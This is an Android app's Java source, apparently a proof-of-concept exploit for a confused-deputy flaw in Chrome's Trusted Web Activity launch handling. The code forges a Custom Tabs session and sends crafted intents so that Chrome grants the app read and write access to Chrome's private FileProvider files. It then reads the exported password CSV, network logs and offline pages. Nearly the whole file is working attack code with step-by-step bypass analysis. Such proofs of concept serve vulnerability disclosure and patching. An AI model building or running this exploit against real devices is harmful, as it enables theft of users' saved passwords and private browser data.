package com.evil.app;

import android.app.Activity;
import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.os.Parcel;
import android.os.RemoteException;
import android.util.Log;
import android.widget.TextView;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.Arrays;

/**
 * POC: Confused-deputy in Chrome's WebAppLaunchHandler.launchNewIntent().
 *
 * Chrome blindly calls Activity.grantUriPermission(<caller-package>, <uri-from-intent-extra>,
 * READ|WRITE) for every URI in EXTRA_FILE_HANDLING_DATA without validating that the URI's
 * authority belongs to the caller. By supplying content://<chrome-pkg>.FileProvider/... URIs,
 * this app receives a READ+WRITE grant to Chrome's private cache directories
 * (passwords/, net-export/, pdfs/, webapks/, Offline Pages/archives/).
 *
 * Gating analysis:
 *   - isTrustedWebActivity() only checks (mSession != null && EXTRA_LAUNCH_AS_TRUSTED_WEB_ACTIVITY);
 *     Digital Asset Links verification has NOT run at this point.
 *   - The launchNewIntent() branch is forced by EXTRA_LAUNCH_HANDLER_CLIENT_MODE = NAVIGATE_NEW (3),
 *     which bypasses the CurrentPageVerifier check entirely.
 *   - CustomTabIntentHandler.onNewIntent() only validates session equality — satisfied because
 *     we reuse the same session token across both intents.
 *
 * Vulnerable code path:
 *   ChromeLauncherActivity (exported)
 *     -> LaunchIntentDispatcher (adds SINGLE_TOP|CLEAR_TOP, routes to existing CustomTabActivity)
 *     -> BaseCustomTabActivity.onNewIntent()
 *     -> CustomTabIntentHandler.onNewIntent()  [session.equals() check passes]
 *     -> DefaultCustomTabIntentHandlingStrategy.handleNewIntent()  [isTrustedWebActivity()==true]
 *     -> WebAppLaunchHandler.handleNewIntent()  [clientMode==NAVIGATE_NEW]
 *     -> WebAppLaunchHandler.launchNewIntent()
 *     -> for (uri : fileData.uris) grantUriPermission("com.evil.app", uri, READ|WRITE)
 */
public class MainActivity extends Activity {
    private static final String TAG = "ChromeFileProviderPoc";

    // ---- Chrome targets -----------------------------------------------------
    // Adjust for the channel under test:
    //   Stable:  com.android.chrome
    //   Beta:    com.chrome.beta
    //   Dev:     com.chrome.dev
    //   Canary:  com.chrome.canary
    //   Local Chromium build: org.chromium.chrome
    private static final String CHROME_PACKAGE = "com.android.chrome";

    // FileProvider authority is "<manifest_package>.FileProvider" per AndroidManifest.xml:1380
    private static final String CHROME_FP_AUTHORITY = CHROME_PACKAGE + ".FileProvider";

    // CustomTabsConnectionService is exported with intent action below
    // (chrome/android/java/AndroidManifest.xml:1054-1058)
    private static final String CCT_SERVICE_ACTION =
            "android.support.customtabs.action.CustomTabsService";

    // CustomTabActivity itself is exported=false; the second intent must go through
    // the exported ChromeLauncherActivity. LaunchIntentDispatcher then routes it to the
    // existing CustomTabActivity with SINGLE_TOP|CLEAR_TOP.
    private static final String CHROME_LAUNCHER_CLASS =
            "com.google.android.apps.chrome.IntentDispatcher";

    // ---- Intent extra keys (extracted from androidx.browser.trusted bytecode) ----
    private static final String EXTRA_CCT_SESSION =
            "android.support.customtabs.extra.SESSION";
    private static final String EXTRA_LAUNCH_AS_TWA =
            "android.support.customtabs.extra.LAUNCH_AS_TRUSTED_WEB_ACTIVITY";
    private static final String EXTRA_LAUNCH_HANDLER_CLIENT_MODE =
            "androidx.browser.trusted.extra.LAUNCH_HANDLER_CLIENT_MODE";
    private static final String EXTRA_FILE_HANDLING_DATA =
            "androidx.browser.trusted.extra.FILE_HANDLING_DATA";
    private static final String FILE_HANDLING_KEY_URIS =
            "androidx.browser.trusted.KEY_URIS";

    // LaunchHandlerClientMode constant values (from class file constant pool):
    //   AUTO=0, NAVIGATE_EXISTING=1, FOCUS_EXISTING=2, NAVIGATE_NEW=3
    private static final int CLIENT_MODE_NAVIGATE_NEW = 3;

    // ICustomTabsService AIDL transaction code for newSession(ICustomTabsCallback cb).
    // Method is the second declared in the AIDL after warmup(), so FIRST_CALL_TRANSACTION+1.
    private static final int TXN_NEW_SESSION = IBinder.FIRST_CALL_TRANSACTION + 1;
    private static final String ICCT_SERVICE_DESCRIPTOR =
            "android.support.customtabs.ICustomTabsService";
    private static final String ICCT_CALLBACK_DESCRIPTOR =
            "android.support.customtabs.ICustomTabsCallback";

    // ---- Target URIs --------------------------------------------------------
    // Paths from chrome/android/java/res_template/xml/file_paths.xml:
    //   <cache-path name="passwords"     path="passwords/"/>             -> cache/passwords/
    //   <cache-path name="cache"         path="net-export/"/>            -> cache/net-export/
    //   <cache-path name="pdfs"          path="pdfs/"/>                  -> cache/pdfs/
    //   <cache-path name="webapk"        path="webapks/"/>               -> cache/webapks/
    //   <cache-path name="offline-cache" path="Offline Pages/archives/"/>-> cache/Offline Pages/archives/
    //
    // The password export filename is "Chrome Passwords.csv" by default. The grant is per-URI
    // so the attacker must know or guess filenames; password export is the most predictable.
    private static final Uri[] TARGET_URIS = new Uri[] {
            Uri.parse("content://" + CHROME_FP_AUTHORITY + "/passwords/Chrome%20Passwords.csv"),
            Uri.parse("content://" + CHROME_FP_AUTHORITY + "/passwords/ChromePasswords.csv"),
            Uri.parse("content://" + CHROME_FP_AUTHORITY + "/cache/chrome-net-export-log.json"),
            Uri.parse("content://" + CHROME_FP_AUTHORITY + "/pdfs/download.pdf"),
            Uri.parse("content://" + CHROME_FP_AUTHORITY + "/webapk/planted.apk"),
            Uri.parse("content://" + CHROME_FP_AUTHORITY + "/offline-cache/page.mhtml"),
    };

    // -------------------------------------------------------------------------

    private TextView mLog;
    private final Handler mUi = new Handler(Looper.getMainLooper());
    private IBinder mService;
    private IBinder mCallback; // our ICustomTabsCallback stub == the session token

    private final ServiceConnection mConn = new ServiceConnection() {
        @Override public void onServiceConnected(ComponentName name, IBinder svc) {
            mService = svc;
            log("[+] Bound to " + name.flattenToShortString());
            stage1_createSession();
        }
        @Override public void onServiceDisconnected(ComponentName name) { mService = null; }
    };

    @Override
    protected void onCreate(Bundle b) {
        super.onCreate(b);
        mLog = new TextView(this);
        mLog.setTextSize(11f);
        mLog.setPadding(16, 16, 16, 16);
        setContentView(mLog);

        log("=== Chrome FileProvider confused-deputy POC ===");
        log("    target package   = " + CHROME_PACKAGE);
        log("    target authority = " + CHROME_FP_AUTHORITY);
        log("");

        // Stage 0: bind to the exported CustomTabsConnectionService.
        // ClientManager will record our package name (resolved via Binder.getCallingUid())
        // against the session callback we pass to newSession(); that package name later
        // becomes the grantUriPermission() target.
        Intent svc = new Intent(CCT_SERVICE_ACTION).setPackage(CHROME_PACKAGE);
        boolean ok = bindService(svc, mConn, Context.BIND_AUTO_CREATE | Context.BIND_WAIVE_PRIORITY);
        log("[*] bindService -> " + ok);
        if (!ok) log("[-] Cannot bind. Is " + CHROME_PACKAGE + " installed?");
    }

    /** Stage 1: call ICustomTabsService.newSession() with a callback Binder we control. */
    private void stage1_createSession() {
        // The callback Binder identity IS the session token. CustomTabsSessionToken on the
        // Chrome side wraps this IBinder; equality is IBinder.equals().
        mCallback = new android.os.Binder() {
            @Override public String getInterfaceDescriptor() { return ICCT_CALLBACK_DESCRIPTOR; }
            @Override protected boolean onTransact(int c, Parcel d, Parcel r, int f) {
                return true; // swallow all callback notifications
            }
        };

        Parcel data = Parcel.obtain();
        Parcel reply = Parcel.obtain();
        try {
            data.writeInterfaceToken(ICCT_SERVICE_DESCRIPTOR);
            data.writeStrongBinder(mCallback);
            mService.transact(TXN_NEW_SESSION, data, reply, 0);
            reply.readException();
            int result = reply.readInt();
            log("[+] newSession() -> " + result);
        } catch (RemoteException e) {
            log("[-] newSession failed: " + e);
            return;
        } finally {
            data.recycle();
            reply.recycle();
        }

        // Chrome's ClientManager has now stored: session(mCallback) -> "com.evil.app"
        // (resolved from Binder.getCallingUid() inside CustomTabsConnectionService.newSession()).

        stage2_launchTwa();
    }

    /**
     * Stage 2: launch a CustomTabActivity in TWA mode via the initial intent.
     * isTrustedWebActivity() returns true because (mSession != null && EXTRA_LAUNCH_AS_TWA).
     * No grant happens here — handleInitialIntent() never reaches the launchNewIntent() branch.
     */
    private void stage2_launchTwa() {
        Intent i = baseTwaIntent("https://example.com/");
        log("[*] Stage 2: launching TWA (initial intent)...");
        startActivity(i);

        // Give Chrome time to bring up the activity & tab. The follow-up intent must arrive
        // via onNewIntent() (i.e. the activity must already exist) for the bug path to fire.
        mUi.postDelayed(this::stage3_triggerGrant, 4000);
    }

    /**
     * Stage 3: send the malicious follow-up intent.
     *
     * Path inside Chrome:
     *   ChromeLauncherActivity (exported, accepts our intent)
     *     -> LaunchIntentDispatcher: clearTopIntentsForCustomTabsEnabled() adds SINGLE_TOP|CLEAR_TOP,
     *        routes to the existing CustomTabActivity
     *     -> BaseCustomTabActivity.onNewIntent()
     *     -> CustomTabIntentHandler.onNewIntent()
     *          - session.equals(mIntentDataProvider.getSession()) -> TRUE (same callback Binder)
     *          - shouldIgnoreIntent() -> FALSE (https URL)
     *     -> DefaultCustomTabIntentHandlingStrategy.handleNewIntent()
     *          - isTrustedWebActivity() -> TRUE (mSession != null && EXTRA_LAUNCH_AS_TWA)
     *     -> WebAppLaunchHandler.handleNewIntent()
     *          - clientMode == NAVIGATE_NEW (3) -> takes launchNewIntent() branch unconditionally
     *            (the CurrentPageVerifier state is never consulted)
     *     -> WebAppLaunchHandler.launchNewIntent()
     *          - packageName = intentDataProvider.getClientPackageName()
     *                        = ClientManager.getClientPackageNameForSession(session)
     *                        = "com.evil.app"  (Binder-verified)
     *          - for (uri : fileData.uris)
     *                mActivity.grantUriPermission("com.evil.app", uri, READ|WRITE)
     *
     * The Android framework permits the grant because Chrome owns ChromeFileProvider and the
     * provider declares android:grantUriPermissions="true". No check that the URI authority
     * belongs to the caller. Confused deputy.
     */
    private void stage3_triggerGrant() {
        Intent i = baseTwaIntent("https://example.com/second");

        // Force the launchNewIntent() branch — bypasses CurrentPageVerifier entirely.
        i.putExtra(EXTRA_LAUNCH_HANDLER_CLIENT_MODE, CLIENT_MODE_NAVIGATE_NEW);

        // The payload: Chrome's own FileProvider URIs.
        // Bundle layout: { "androidx.browser.trusted.KEY_URIS": ArrayList<Uri> }
        // (this is what FileHandlingData.fromBundle() expects).
        Bundle fileData = new Bundle();
        fileData.putParcelableArrayList(FILE_HANDLING_KEY_URIS,
                new ArrayList<>(Arrays.asList(TARGET_URIS)));
        i.putExtra(EXTRA_FILE_HANDLING_DATA, fileData);

        log("[*] Stage 3: sending malicious follow-up intent");
        log("    EXTRA_LAUNCH_HANDLER_CLIENT_MODE = NAVIGATE_NEW (3)");
        log("    EXTRA_FILE_HANDLING_DATA = " + TARGET_URIS.length + " Chrome FileProvider URIs");
        startActivity(i);

        mUi.postDelayed(this::stage4_exfiltrate, 3000);
    }

    /** Stage 4: prove the grant landed by opening the URIs from this process. */
    private void stage4_exfiltrate() {
        log("");
        log("[*] Stage 4: attempting to read granted URIs...");
        log("    (SecurityException = grant did NOT land)");
        log("    (FileNotFoundException = grant DID land, file just doesn't exist)");
        log("");

        ContentResolver cr = getContentResolver();
        for (Uri u : TARGET_URIS) {
            try (InputStream in = cr.openInputStream(u)) {
                ByteArrayOutputStream buf = new ByteArrayOutputStream();
                byte[] tmp = new byte[4096];
                int n, total = 0;
                while ((n = in.read(tmp)) > 0 && total < 256) {
                    buf.write(tmp, 0, n);
                    total += n;
                }
                log("[!!!] READ OK  " + u);
                log("      first bytes: " + buf.toString().replace("\n", "\\n"));
            } catch (SecurityException se) {
                log("[-] DENIED    " + u + "  (" + se.getMessage() + ")");
            } catch (java.io.FileNotFoundException fnf) {
                // Grant succeeded — we got past the permission check — but the file isn't there.
                // To prove the WRITE grant, you could now openOutputStream(u) here and plant a file.
                log("[+] GRANTED   " + u + "  (file absent, but permission granted)");
            } catch (Exception e) {
                log("[?] " + u + "  -> " + e.getClass().getSimpleName() + ": " + e.getMessage());
            }
        }

        log("");
        log("=== Result ===");
        log("Any [+] GRANTED or [!!!] READ OK line above proves the confused-deputy grant.");
        log("Run `adb shell dumpsys package com.evil.app | grep -A5 'granted=true'` to see");
        log("the persistent URI permission entry the framework now holds for this app.");
    }

    /** Build a base intent that targets the exported launcher with our session attached. */
    private Intent baseTwaIntent(String url) {
        Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
        i.setClassName(CHROME_PACKAGE, CHROME_LAUNCHER_CLASS);
        i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

        // Attach the session. CustomTabsSessionToken on Chrome's side reads
        // EXTRA_SESSION as a Bundle and pulls the IBinder from it.
        Bundle session = new Bundle();
        session.putBinder(EXTRA_CCT_SESSION, mCallback);
        i.putExtras(session);

        // The only thing isTrustedWebActivity() checks beyond mSession != null:
        i.putExtra(EXTRA_LAUNCH_AS_TWA, true);
        return i;
    }

    private void log(String s) {
        Log.i(TAG, s);
        mUi.post(() -> mLog.append(s + "\n"));
    }
}
